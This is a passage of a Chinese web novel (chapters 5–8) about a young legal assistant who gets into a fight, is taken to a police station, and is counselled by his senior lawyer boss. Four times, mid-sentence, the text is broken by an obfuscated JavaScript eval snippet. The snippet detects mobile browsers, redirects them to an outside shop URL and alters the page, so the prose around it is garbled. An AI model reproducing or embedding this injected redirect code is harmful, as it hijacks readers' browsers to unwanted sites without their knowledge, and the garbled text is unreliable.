严熤眼疾手快地上前一步，扯住跑在最后的两人的衣领，两人被拉的重心不稳，后退几步撞到了严熤屈起的手肘上，被顶的一倾身，严熤抬腿顺势往两人腿弯踢了一脚，两人身不由己地跪了下去。 龙岗派出所的两位民警一路小跑进来，正好受了这个大礼，两位警察直接愣了三秒，随即，其中一位年长的民警认出了这两张熟面孔，顿时厉声骂道：“又是你们这几个小兔崽子！一天不惹事就皮痒是不是！” 还跪着的两人一哆嗦，还没说话，刚刚还躺在地上的黄毛一骨碌起来躲到了警察身后，一手指着严熠，大声嚷道：“警察叔叔就是他，他打人！你们快抓他！” 两位民警一愣，抬头看了看严熠，严熠回以一个无辜的笑容：“警察同志，我是报案人。” 黄毛：“？？？” 5. 第 5 章 尹观庭刚下飞机，就接到了李昀的电话。他有些意外地接起来，对面是李昀苦哈哈的声音： “尹律你是不是认识龙岗派出所的刘所长啊？” 尹观庭确实认识，刘时所长是他本科期间的师兄，大了他三届，尹观庭执业后，因为一个案子和这位师兄有了联系，但因为双方的职业都比较敏感，平时几乎不怎么联系。 于是他回：“认识，不熟，怎么了？” “那什么，”李昀的语气里透着一股尴尬和心虚，“就……严熤这小同志见义勇为把人给打了，我们现在在龙岗派出所调解呢，对方是个小混混，闹得这办案警官有点难搞，我想……” “什么？”尹观庭差点以为自己听错了，等李昀再重复一遍之后，莫名冒出了一股火气。他深吸一口气，压下火气打断李昀：“行了，我马上过来。” 李昀不敢吱声，干笑几句就把电话挂了。 尹观庭忍着烦躁到了机场外，拦了一张出租直奔龙岗，C市机场和龙岗一南一北，等尹观庭绕了大半个环线到达龙岗时，已经快晚上十一点了。 严熤和李昀坐在龙岗派出所的大厅，两人说着什么，严熤一脸平静，倒是李昀一副着急上火的样子，要不是尹观庭先前有了解，还以为打人的是李昀。 严熤本来在和李昀说话，结果一转头就看到一个熟悉的修长身影，差点被自己的口水呛到。 比打架进了派出所被老板抓到还惨的是什么？ 是你老板是个专业的法律工作者。 “很厉害嘛严律师，”尹观庭直接无视了尬笑的李昀，冲着严熤直接开腔，冷得直掉冰渣，“因为打架被警察带到派出所的律师，我还只见过你一个。” 自觉非常有理的严熤被迎面而来的火气扑了一脸，顿时噤声。 李昀看得牙疼，好家伙，我搁这劝你半天，说一句顶一句，面对尹律你就哑火了？ 但李昀也不敢说话，主要是理亏，他自诩也算个成熟律师，结果带着人家助理办案子办进派出所里，怎么想都很难交代。 而尹观庭的攻击显然不会一句就停。 “对面是有动刀了还是动枪了非要你动手才行？治安处罚你没学过？律师职业规范要我告诉你吗？还是你觉得就算留个行政案底也无所谓？反正大学七年也不怎么重要，混不下去还可以去搬砖是吧？”尹观庭一连串问题说完，心口压着的火气勉强平息了一些，语气也渐渐缓了下来：“说说吧，怎么回事？” 严熤对他情绪变化异常敏感，刚刚噤若寒蝉的样子一瞬间飞走，嘀咕了一句：“还不是有狗欺负人？” 尹观庭一挑眉：“嗯？” 严熤马上闭嘴，睁着一双大眼睛无辜地跟他对视。 李昀在一旁好气又好笑，拉过尹观庭把下午发生的事情说了一下，被严熤揍了一顿的黄毛显然是派出所熟客了，严熤先动手着实不占理，何况因为职业问题，严熤无论如何都不能背上行政处罚，对面那小子咬死了这一点，对着赔偿狮子大开口。李昀的口才面对这种胡搅蛮缠的复读机一点作用都没用，严熤更不用说，口才全用来阴阳怪气了，黄毛被他气的几次想动手，最终办案警察和李昀双双认输，干脆把两人分开冷静。 李昀这才有机会给尹观庭打电话，要不怎么说能在大魔王手下混呢，严熤也只是看着乖巧，性子也是个魔王级别的。 尹观庭听完李昀的描述，顶着一张八风不动的表情出门打了个电话，很快，派出所里走出来一个中年警察，两人在派出所门口就这么聊上了。 “昀哥，这人你认识吗？”严熤看了下门口相谈甚欢的两人，尹观庭又挂上了营业专用微笑表情包，那叫一个温文尔雅。 “哎哟祖宗可别叫我哥了，”李昀揉着额角，“那位就是龙岗派出所的所长，尹律的师兄，现在只能看看这位老警察有没有办法吓住对面了。” 说着他看了一眼严熤，忍不住数落：“你还真是人不可貌相，看着比谁的都乖，怎么说动手就动手，我都没反应过来……” 严熤赶紧讨好一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740053|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑：“对不起昀哥，我也不是故意的，今天辛苦你了，回去请你吃饭。” 李昀被他一笑笑得没了脾气，摇了摇头：“我也没帮上什么忙，你还是请尹律吃个饭吧，今天他们刚出差回来，这是下飞机就直接过来了。” “我知道，”严熤顿了顿，忍不住小声说道：“请他吃饭还是往后稍稍，我得做做心理准备……等他骂过消气之后再说吧。” 李昀乐了：“这会儿知道怕了，早干嘛去了。” 也不知道尹观庭是怎么和刘所长谈的，刘所长回到办公区后没多长时间，黄毛蔫搭搭地同意和解，事情总算告一段落，尹观庭领着李昀严熤两人走出派出所，门口还停着一张出租车。 李昀晃了晃手机：“尹律我就不跟你们一起了，我老婆来接我来着，我在这等会儿。” 尹观庭忙了一天，临到半夜还得操劳助理，着实没心情客气，于是随意一点头：“那你自己路上小心。” 说着拉开车门，下巴抬了抬，示意严熤上车。 严熤一上车就看见车里还放着一个小心行李箱，愣了愣，把箱子抱了起来，准备给自己腾个地，这时一只手伸过来提走了箱子，尹观庭提着自己的行李箱放到了后备箱里。 严熤突然想起来李昀说尹观庭一下飞机就赶了过来。 准备挨骂的忐忑心情中很快掺杂了愧疚，严熤借着车灯瞄了一眼的尹观庭，总觉得自己老板脸色十分疲惫，于是愧疚更浓了。 “我……”他想开口说点什么。 “闭嘴。” “……哦。” 车里沉默下来。 严熤在这种沉默的气氛中煎熬许久，终于到了自己家，他几乎是迫不及待地准备下车，然而刚有动作，就听见尹观庭说：“今晚你先休息，明天早点到律所，我们谈谈。” 严熤一愣，回身一看，尹观庭的脸隐在黑暗中，透过车里微弱的光源，那张温雅俊美的脸有种莫名的冷凝。 他顿了顿，像往常一样回道：“好的。” 6. 第 6 章 心里有事的结果就是很影响睡眠，一向睡眠质量超高的严熠在清晨六点的时候，睁开了眼睛。 想着昨晚尹观庭最后通牒一样的话，严熤总有种不祥的预感，在床上翻滚半天之后，果断摸出手机，从微信里拉出一个名为“脱发拯救行动”的群，准备进行场外求助。 严闪闪：问：干了一件坏事之后老板十分严肃地要谈谈，我要怎么办？ 这个清新脱俗的群是严熤读研时的宿舍群，从群名就可以看出群内四个我国法学人才们的执念。 严熤估摸着除了雷打不动十点睡六点起的范思存，其他俩人估计还在睡觉，而范思存不仅有十分养生的作息，还很有世外高人的风度，等闲难在群里开尊口。所以他发完这句话，把手机往枕头旁边一放，手臂压在眼睛上，准备再睡会儿。 眼睛闭上还没两秒，手机震了震。 嗯？严熤拿起手机一看，群消息变成了二。 耿亮亮：辞职 余半仙：辞职 严闪闪：……你俩这么早起床？ 余半仙：屁，我是没睡 耿亮亮：机场候机【微笑.jpg】 余半仙：你又出差？你不是刚从广东出差回来？ 耿亮亮：那又怎样？很影响我继续出差吗？【微笑.jpg】 这嘲讽的表情惹得严熤一阵同情，耿亮亮真名只有一个亮字。而严熤小名闪闪，余畅经常开玩笑说他俩可以出道组个闪亮组合，毕业之后闪亮组合是他们宿舍唯二参加工作的人，耿亮在帝都一家私企做风控，被指使得上蹿下跳，整天把“万恶的资本主义”挂在嘴边。 余畅丝毫不体谅社畜的辛苦，在群里疯狂拉仇恨： 余半仙：哎一不小心打游戏忘时间了，先去睡觉了啊哥几个 耿亮亮：余畅我出差回来必取你狗头！！！ 余半仙：这位施主这么大火气，小心便秘 耿亮亮：给！我！滚！ 眼看这两兄弟要在群里掐起来，严熤赶紧把话题拉回最开始的疑问： 严闪闪：兄弟们说正事，我不想辞职好吧 耿亮亮：那就跪下认错 严闪闪：呃……这么没尊严的吗？ 耿亮亮：社畜哪有尊严，这还是你自己先犯错了 耿亮亮：我boss犯错一样骂我，你看我介意了吗？ 耿亮亮：工作就是逢人就啊对对对，减少内耗从我做起 严熠一阵沉默，耿亮说的真是完全无法反驳，不愧是在万恶资本家手底下工作的社畜……严熤正想的出神，手机铃声突兀地响了起来。 严熠拿过手机一看，余半仙，他接起电话。 “喂？你不是去睡了吗？” “等会再睡。我现在贼好奇，你干嘛了闹到可能辞职这么严重？” 有人关心，严熤顿时打开了话匣子，把昨晚的事情统统倒了出来。 余畅那边深吸一口气，忍了忍还是没忍住，破口大骂道：“严闪闪你脑子是有坑吧！你特么都报警了还动什么手！嫌外边世界太自由了想去蹲蹲看守所是吧！执业证不想要了！” 关系太熟就是这点不好，余畅可以毫无顾忌把严熤喷一顿。 严熤一噎：“我知道我冲动了，但是重点是这个吗！” “那不然呢，我早就说你这圣母病得改改了，话说你不会又是想到你奶奶了吧？你别看到个老人就代入行吗……” “停！打住!”严熤被念叨得头疼，赶紧阻止，“我知道我知道，下次不会了，真的！” “你！”余响施法被打断，极其难受，但又不想继续戳他伤疤，只能转移话题，“行了行了不说了，你还是看看你老板要跟你说啥，大不了就是被开了嘛，凭你这学历人品还能找不着工作？” 严熤被余畅这信誓旦旦的发言搞得长叹一声，倒在床上，“你可真有信心，”听到余响那边打哈欠的动静，他又道，“行了你赶紧去睡吧，我准备上班了。” 余畅有心多说几句，但听出严熤隐含的拒绝，加上熬了一宿真的有些撑不住，也是也不再废话：“那行，有事随时联系我，晚安晚安。” 说完直接挂了电话。 晚个鬼的安，严熠嘴角抽搐了一下，看着挂断的手机回到桌面，上面明晃晃的七点整，只能感叹果然没有叫错的外号，余畅这是离成仙不远了。 严熤到律所的时候尹观庭已经坐在办公室里了，照例给他带了一份春和记的早点，严熤忐忑的心情平静了一秒钟，随即又怀疑这是不是老板的断头饭。 尹观庭见他进来，放下手里的工作，示意他坐下：“昨天的事情我找李昀了解清楚了，有些事情我觉得我们得谈谈。” 严熤跟在他身边已经一段时间了，这语气听得闻言顿生不妙之感。 “我不清楚你昨天冲动的原因是什么，如果你有跟我倾诉的想法，我很乐意倾听，当然你不愿意我也不强求，但是我认为你需要考虑一下自己性格是否这个行业。” 尹观庭平静地看着他，眼神带着不自觉的压力。 “做我们这行的，同理心可以有，但绝对不能太重，否则会模糊你对事实和法律的判断，至于为热血上头为当事人打抱不平更是大忌，假如昨天的事情没能解决，你身上背一个行政处罚那基本是告别法律行业了，但如果你并不在意，那我只能认为你没有做好当一个律师的准备。”尹观庭顿了顿，“所以你的答案是？” 严熤对上他平静的眼神，张了张嘴，没能说出话。 他想说自己并不是不想当律师，他选择律师是经过深思熟虑的，来自于过去十年的生活经历，来自于根植于心底的一些执念。但向别人剖析梦想会带来莫名的羞耻，他和尹观庭又没有熟悉到那个份上，是以一时间竟然难以成言。 他沉默半晌，垂下的眼帘遮住了漂亮的眼睛，最终只憋出来一句：“对不起师兄，以后不会了。” 尹观庭安静地看他几秒，点了点头：“那样最好，希望你是考虑清楚了的。好了，你去忙吧。” 严熤“嗯”了一声，有些神思不属地回到了自己工位。 和尹观庭“聊”完的后劲有点大，严熤想起了一些以为忘记的事情，心情罕见地有些低落，工作时心不在焉的，一页合同上上下下翻滚了很多次，半个字都没看进眼里。 直到耳边传来一个调侃的声音：“小师弟啊，你这页合同是什么武功秘籍吗？我看你反复看了五遍了。” 严熤险些被吓得跳起来，扭头一看，是正儿八经的大老板——律所主任王信鸿。 王信鸿年轻的时候专业水平过硬，面上还有几分律师的雷厉风行，等团队做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740054|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大之后就把精力放在了律所的经营上，一点锋芒都掩饰过去了，常年一副和气生财的笑脸，十分引人亲近。 严熤缓和了一下被吓到的心脏，和他半年不见外地抱怨：“主任您干嘛！” 王信鸿随手拉把椅子坐下：“我来找老尹，看见人不在，本来想问你来着，结果看你专心致志的，我总不好打扰你。” “啊？”严熤有点懵地抬头一看，这才发现尹观庭不知道什么时候不见了。 “得嘞，看你这样子也不知道老尹哪去了，小同志当助理可不能这样啊。”王信鸿随口调侃了一句，没找着人也不着急走，挨着严熤扯闲天：“怎么工作时间还心不在焉的？不说个所以然我就去找你们尹律师告状了，扣你工资！” 严熤一时间觉得自己又被续上了沉默buff，不知道从何说起，王信鸿也不催他，十分耐心地等着。过了几分钟，最终还是对王信鸿的信任和佩服压过了犹豫，严熤把昨天发生的事情一五一十地告诉了王信鸿。 等他说完，却没有等到王信鸿的评价，抬头一看，正好看到王信鸿脸上一个奇怪的表情，有点感慨有点欣慰还有点哭笑不得。 严熤：“……主任？” 王信鸿回过神来，还是一副乐呵呵的表情：“哎呀小问题小问题，别在意，老尹什么样的人我门儿清，这种小事他估计睡一觉就忘了。” “这是睡一觉能忘记的？”严熤一脸不信，犹豫了一会又说道，“尹师兄是不是挺不喜欢我这种的？” 王信鸿笑了起来，十分感慨地嘀咕了一句：“放心好了，他不会不喜欢你的……” “？”严熤没听清，露出个疑惑的表情。 王信鸿收敛了感慨，看着严熤认真说道：“老尹那个人，有些时候太理性了显得凉薄，但你仔细想想，他说这些也是为你好对不对？ “有些时候对当事人太感同身受，不仅会影响我们对事实和法律的判断，而且会给我们加上不少压力，虽然我们作为一方的代理人肯定只是为一方说话，但是不能因为立场的倾向就忘记了基础的判断。别的不说，接案子之前，你就得把风险都给当事人说明白了，要是你自己情绪太重，给当事人打个包票，这不就违规了？最后把自己搭进去不说，还落不了好，何必呢？” 严熤不由地点点头。王信鸿拍拍他的肩：“你的想法没问题，态度和精神值得鼓励，就是行为我们在调整一下就更好了，你别跟老尹似的，因为一个案子就……” 嗯？严熤敏锐地抬头。 王信鸿话到一半就发现自己说漏嘴了，赶紧打个哈哈糊弄过去：“总之呢，昨天你也清楚自己冲动了不是？下次记得冷静点呀！为几个小混混搭上自己七八年的专业学习，多亏啊！而且不是我说，上周我们出差的时候我还在让老尹对你多上点心，结果转头你就搞出这么个事，打我脸呢？” 严熤本来想追问“因为一个案子”的后续，但被王信鸿一调侃顿时忘了，很不好意思地道歉：“对不起啊主任。” “好了好了，不用对着我道歉，”王信鸿揉揉他后脑勺：“就是你可别有下次了。再来一次老尹估计能被你气死。行了，我先走了，老尹回来告诉我一声。你赶紧改合同吧，一页合同看半小时，什么效率！” 严熤被他揉的低下头，嘟囔了几句，专心改起了合同。 7. 第 7 章 王信鸿十几年的大师兄没有白当，起码对手下师弟们的性格把握得足够准确。尹观庭此后果然没有再提起这件事，严熤以为的考验什么的也没发生，照例是一项工作接着一项工作，转眼一个多星期过去，严熤自己都快忘了这件事。 又是一个忙碌而充实的周一，严熤在律所的餐厅一边吃外卖一边玩手机，突然听有人问道：“小严，上次那事后面怎么处理的？” 严熤抬头一看，李昀捧着自己饭盒坐到了对面，他有些茫然：“昀哥你说啥？” “啧，我是问你上次打架那个事，”后面几个字李昀几乎是用气音说出来的，接着又恢复了正常的声音，“尹律没骂你吧？” 严熤回想了一下那场单方面的“谈”话，有些不确定地说道：“呃……好像没有？” 见李昀一脸无语，他又赶紧补充道：“也不算骂了，就是很平静地跟我分析了一下这样不对，说我同理心太重不冷静什么的，就是吧，尹律他平静说话的时候，就很有压迫感……” 严熤比比划划，给了李昀一个“你懂吧”的眼神。 李昀顿时点头，一脸感同身受的心有戚戚。 “不过话说回来，看不出来你平时这么冲动的啊，当时那种情况，那几个小混混应该也不敢动真格的，倒是你……”李昀有些犹豫。 “反应过激了是吧，”严熤笑着补上他没说出口的话，轻描淡写地解释了一句，“小时候遇到过，一下子代入了没收住情绪。” 李昀识趣地不问了，两人边吃边聊，不知不觉话题又转到了尹观庭身上。 “要说我们这行还是得尹律那种，公私分明跟个机器人一样，见什么人说什么话，上得了level，舍得下面子。关键时候还不会被当事人带着跑，我跟你说，以前我们有个客户，见律师的时候哭的可惨了，就尹律那叫一个八风不动，一个问题接一个问题直接给他问沉默了……” “那这案子还能谈吗？” “嗨，那家伙隐瞒事实搁我们这卖惨呢，胡搅蛮缠地就想少律师费，还好尹律不吃他那套。那冷静自若的风范，把我们团队里几个小女生迷的不要不要，那什么，叫智性恋天花板。” 严熤嘴角抽了抽：“说起来，尹律对当事人一直这样吗？”他有些艰难地调整着措辞，“就是那种，理智到有点冷漠……嗯……” 李昀一脸“我懂”的表情：“是呀，一直这样，你之前的几个助理也说吐槽过来着，老实说也没啥不好，谈感情伤钱你说对吧，说到底律师也是要挣钱的，要不人家创收这么恐怖呢……哎！小杨，这边！” 王信鸿团队的几个律师办完事下来吃午饭，李昀眼尖瞅见，招呼了一声，几个人嘻嘻哈哈地凑了过来，严熤拉着自己的外卖挪了挪位置，这话题就这么搁置了。 尹观庭不知道背后有人编排自己，被客户一个大召唤术直接召唤到城郊工厂一上午，下午急匆匆地赶回了律所，午饭都没来得及吃，直接从停车场直接到了15楼的大会议室。 一进门就看见会议室里满满当当的人，所里的高级合伙人和二级合伙人基本都到了。 尹观庭和几个相熟的同事颔首打了个招呼，拉了把椅子，在李鸿音身边坐下了，随口寒暄一句：“音姐好久不见了。” 李鸿音是所里的唯二的女性高级合伙人之一，已经不算年轻，但配合精致的妆容和干练的气场，看上去依然是个风情万种的美人，她见到尹观庭显得很是高兴：“哎呀真是难得见一次面，我听老王说宏远集团在清溪村那个烂摊子想找你处理？” 尹观庭笑了笑：“没那么容易，还谈着呢。” 李鸿音十分有信心：“没问题的，我不信C市还能找到比你更专业的，要是你都做不了那个事情，我估计也没有其他律师愿意接手。” 尹观庭被她吹得有点无奈。他是所里的高级合伙人中最年轻的那个，而李鸿音则是最年长的一位，所以李鸿音每次面对他都有种看自家弟弟的感觉，有种迷之骄傲感，尹观庭虽然有些无奈，但很感念她的挂念，只是性格使然，面对亲近的人反而没法舌灿莲花，只好笑了笑。 李鸿音对帅气弟弟的笑容欣然接受：“可惜你不做婚姻家事，不然就你这笑，有几个当事人遭得住哦。” 尹观庭有点招架不住，正想转移话题，就发现严熤给他发了一条信息：“师兄，刚刚李昀律师跟我说明天上午得去河清街道做法律培训，那我明天上午是跟他去还是跟你去客户那里？” 尹观庭本来打算明天带严熤见一下一个常年合作的客户，但考虑到王信鸿的千叮咛万嘱咐，还是让严熤跟着李昀去见世面。 严熤秒回他一个“好的老板.jpg”。 不得不说严熤在与人相处上面有种奇特的天赋，十分敏锐地踩准了尹观庭底线，工作中被尹观庭骂过的错误基本不会再犯，堪称知错能改的典范，但在那些可有可无的方面，比如发表情包，那就是蹬鼻子上脸了。尹观庭这些天不知道收到了多少严熤发送的奇奇怪怪的表情包，第一次直观的感受到了年轻人的创造力。 尹观庭正盯着手机想些有的没的，就听见旁边李鸿音问了一句：“观庭，你这是跟谁聊天呢？” 尹观庭一抬头就和李鸿音好奇的眼神对上了，他顿了一下，回答道：“我助理，严熤。” 李鸿音“唔”了一声，问道：“严熤？是不是你老师的那个学生？” 尹观庭有点意外：“音姐你认识他？” 李鸿音笑了笑：“看过他简历。不管是简历还是人都挺漂亮，我都有点动心，可惜老王说是你们小师弟，他得亲自带，没想到最后是到你那儿去了。” 说完，她对尹观庭露出一个促狭的表情：“改天我得问问这小孩要不要换团队，说不定就撬了你尹大律师的墙角。” 尹观庭想到严熤那个心大的性格，挑了挑眉：“那我觉得音姐你这次怕是撬不动。” 李鸿音眨眨眼，心里十分诧异，尹观庭“换助理如换衣服”，在天人和律所就是一个经典永流传的梗，他本人对这样的从来都置若罔闻，这还是第一次搭这种茬，看来对这小孩很满意啊。 李鸿音还想跟尹观庭八卦一下严熤，结果王信鸿和行政主管孟岚带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740055|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一大堆资料走了进来，打断了她八卦的想法。王信鸿把资料分发到在场的合伙人，向来一团和气的脸上难得有点严肃：“今天请各位来呢，是兰溪所想并入我们，所以和各位讨论一下……” …… 漫长的会议过去，尹观庭被折磨的不轻，散会了还坐在原位，闭着眼睛有一下没一下地捏着眼角内侧。 王信鸿收拾好自己的文件，一屁股坐在了他旁边。他们两人同门师兄弟，关系亲近是所里公认的，一看这个架势，其他合伙人闻弦歌知雅意，很快退出了会议室。 等会议室只剩下师兄弟两人时，王信鸿才开口说道：“哎，上派出所捞自个儿助理，什么感觉？” 尹观庭停下按眉头的手，看了他一眼：“李昀跟你说的？” 王信鸿：“那不然呢？” 尹观庭嗤笑一声，懒得说话。 王信鸿半点不冷场，接着把话题续了下去：“就前几天来着，我跟他谈了会儿，说起这事小孩魂不守舍的，生怕你开了他，你故意吓唬人家呢？” 尹观庭：“我有那么无聊？” “也是，”王信鸿点了一根烟，“不过这小子那股劲跟你年轻时候简直一模一样”。” 尹观庭沉默，过了半天才吐了四个字：“不是好事。” “话不能这么说，”王信鸿顿了一下，尹观庭的心结他知道，也不是非要戳伤疤，但是吧，“观庭，有些时候我觉得你过于悲观了，当年那件事李老师也给你分析过，你……” “行了，别说了，”尹观庭捏着眉心，“时间不早了，就不聊了。” 王信鸿暗叹，点了根烟，慢吞吞地挥挥手，示意他滚。 尹观庭随意点点头，收拾好自己的东西走出了会议室。 回到办公室，尹观庭才发现严熤居然还在，趴在工位上专心致志的敲电脑，临近八点，办公室里的人走得差不多了，就严熤工位顶上开了一盏灯，给他整个人都镀上了一层毛绒绒的边，衬得他精致柔和五官愈发无害，显得整个人都很稚嫩。 可能刚出校园的年轻人都这个样子吧。 尹观庭在走廊拐角出神地看了一会，才走到他工位旁边，敲敲桌子，说道：“还没下班？” 严熤从工作中回过神，看见尹观庭有些吃惊：“师兄你们开会到现在？” 尹观庭“嗯”了一声，瞄了一眼严熤的电脑屏幕，打开的PPT里花里胡哨的一片，他沉默一会儿，“明天那个培训不会很难，不用太紧张了，早点下班吧。” 严熤有点不好意思：“我知道，就是想多熟悉一下，不过马上就走了。” 按尹观庭的性格，表达完礼貌的关心本来应该就走了，但不知为何，他鬼使神差地问了一句：“你吃饭了吗？” 严熤愣了一下，笑道：“吃了点零食，师兄你要请我吃饭啊？” 尹观庭对自己也有点莫名，但话已出口也不至于收回，于是点了点桌子：“走吧，一起。” 严熤最后看了一眼自己的电脑，把PPT点了保存，轻松愉快地答道：“得嘞，这就收拾东西。” 8. 第 8 章 尹观庭请客的地方相当没有新意——经久不息的春和记。 严熤没有什么意见（当然也不敢有），点了一个新出的海苔粥，端上来后弥漫着一股奇特的味道。 店里没什么客人，两人找了个角落一边吃一边有一搭没一搭的说着案件，有种莫名的祥和。 对尹观庭来说，这种气氛有些新鲜，他大部分时候都是自己一个人吃饭，除非有应酬，但应酬的话，气氛就不见得这么舒适了。 他抬眼看了看对面的青年，严熤拿着左手勺子右手筷子，夹着一点泡菜专心致志地喝粥，那神态，吃得不是粥，是山珍海味。 尹观庭不知怎么地心头一松，一句话脱口而出：“我听老王说你担心被我开除？是我那天说话太重了吗？” 他说的是去派出所捞严熤的那天。 严熤冷不丁听到这么一句话，差点被呛到，忍了忍才把嘴里的粥咽回去，抱怨道：“师兄你能不能不要搞突然袭击，很吓人的。” 尹观庭不太明显地笑了笑：“所以答案呢？” 严熤相当坦诚：“那我肯定担心啊，换到任何一个行业打架进派出所还被老板逮住，那按理来说是告别职场了吧，开除你都不用给补偿金的。” “劳动法学得不错，”尹观庭礼貌评价，认真地看着严熤，“不过你不用特别担心，就我而言，你的表现可以，如果你没有其他的想法，那么我希望你可以继续跟着我工作，我未来也会把一些重要的事情交到你手上，你的意见呢？” “啊？”严熤一时间没跟上他突然跳跃的思路，有些茫然，过了几秒才赶紧回话：“好的好的，谢谢师兄，我没什么意见……不是不是，我是说我挺高兴的……” 尹观庭被他逗乐了：“用不着这么激动。” 严熤有些尴尬地摸摸了鼻子：“说起来之前没有找到机会跟师兄道谢，那大半夜还跑这么远来接我，是我给你和昀哥添麻烦了。” 他看过来的眼神认真而感激，黑而清澈的眼瞳映照着店里不甚明亮的灯光，有种细碎的钻石的质感，尹观庭看得恍然一瞬，开口时语气不由得柔和了下来： “不用这么客气，毕竟还是要为所里的声望考虑的，”他给自己倒了杯茶，慢条斯理地接着说道，“不过话说回来，要不是这是法治社会，这个事倒是可以让品宣的同事宣传一下，路见不平拔刀相助，很有侠客风范。” 严熤听出他平静语气下的阴阳怪气，顿时感受到了和被人当面念□□空间里中二发言一样的羞耻感，没忍住给自己的顶头上司衣食父母翻了个白眼。 尹观庭大度地笑笑，不跟他计较，看着他柔和精致的脸，回想起那天调解室黄毛的血泪控诉，难得生了一点好奇心：“你学过武术？” 严熤一愣，摇摇头：“没有，不过中学那会儿，嗯，经常打架来着。” 尹观庭一挑眉：“还有这种光辉岁月呢？” 严熤越发感觉今晚这天聊不下去了，含糊道：“也不是，就是……”还没想好找什么借口，尹观庭十分自然地转移了话题：“不过能考上R大，起码高中三年没荒废。” 严熤松了口气。 可见尹大律师不是不会当人，只是平时懒得对助理做人。 严熤没有和前任助理进行过交接，完全感受不到这种区别对待，只是松了口气，笑着接话：“那是，高中三年可是吃了不少苦头。” 学习算什么苦头。 尹观庭摇摇头，无视了没经过社会毒打的小年轻发言，他手里转着店里的白瓷茶杯，过了一会儿才说道：“杨琴芳的事情我跟刘所长说过了，他们会和社区通气多照顾一下，但是龙岗那个地方，基层力量有限，他们家的实际困难我们解决不了你明白吗？” 你最好不要同情心发作做些没用的事情。 严熤听出言外之意，张了张嘴，似乎想反驳，但最终只憋出来三个字：“我知道。” 尹观庭看着他的表情，补了一句：“你也不是超人，本来就没办法做太多的事情。” 严熤舒一口气，有点自嘲地笑笑：“我当然知道了，只是有些时候知道归知道还是不太好受。我朋友都说我圣母病，天天庸人自扰。” 你朋友评价还挺准确，尹观庭内心赞同，面上平静无波，只是简单说了一句：“你以后会接触到很多这种无能为力的案件，最好克制一下。” 严熤想了想，最终还是如是回答道：“如果遇到这种案子，那我还是希望能做点什么事情，起码给自己有个交代。” 尹观庭不置可否，反而问了一句：“如果你耗费心力，结果还是一样的让人不满意，你到时候还能给自己一个交代吗？” 严熤回了一个莫名其妙的眼神：“为什么不能？我尽力就行了啊。” 尹观庭静静地看他一眼，轻声说道：“那样最好。” 第二天严熤的主要工作就是跟着李昀去社区普法，临近中午的时候，尹观庭看到了严熤发过来的普法现场照片，并排的几张桌子摆在一个小区门口，围了一圈好奇的居民，李昀西装革履言笑晏晏地站在人群中央讲着什么，身前的桌子隐约可见天人和律所的logo，头上是一条横幅，上书“晏河区司法局‘普法入社区’专题讲座”。 现场又红又专，氛围拉满。 严熤：昀哥真是中老妇女之友，这一会儿已经有两三个大妈在打听他的婚事了！ 严熤：要是让嫂子知道，他今天说不定要睡客厅 严熤：【小人狂笑.jpg】 尹观庭无意识地笑了笑，放下手机启动车辆准备回律所，等车子转上大路等红灯的时候，他顿了顿，鬼使神差地在车载导航上输入了刚刚看到的小区名字。 两地隔得不算远，半个多小时后，尹观庭到了目的地。 李昀带着律所的两个行政姑娘和一位不认识的工作人员正在收拾现场的桌子和横幅，看起来是已经收工了，严熤则是站在一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740056|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，和一个白发苍苍的老人说话。 尹观庭在路边停好车子，走到严熤身边时，正好听到老人说道：“……那这个起诉状要怎么写哦，我们不会啊。” 严熤：“您这事儿不难，我可以……” “咳咳，”不用猜都知道严熤后半句是我可以帮你，尹观庭及时出声打断了，正在说话的一老一少同时转头看了过来，严熤眼神亮了一下，十分高兴的样子：“师兄！你怎么来了？” 尹观庭点点头，若无其事：“顺路，来看看你们怎么样了。” 严熤对着身边的老奶奶歉意一笑，然后向尹观庭解释道：“其实我们也差不多准备回去了，这位奶奶是有个商品房买卖合同的问题做咨询。” 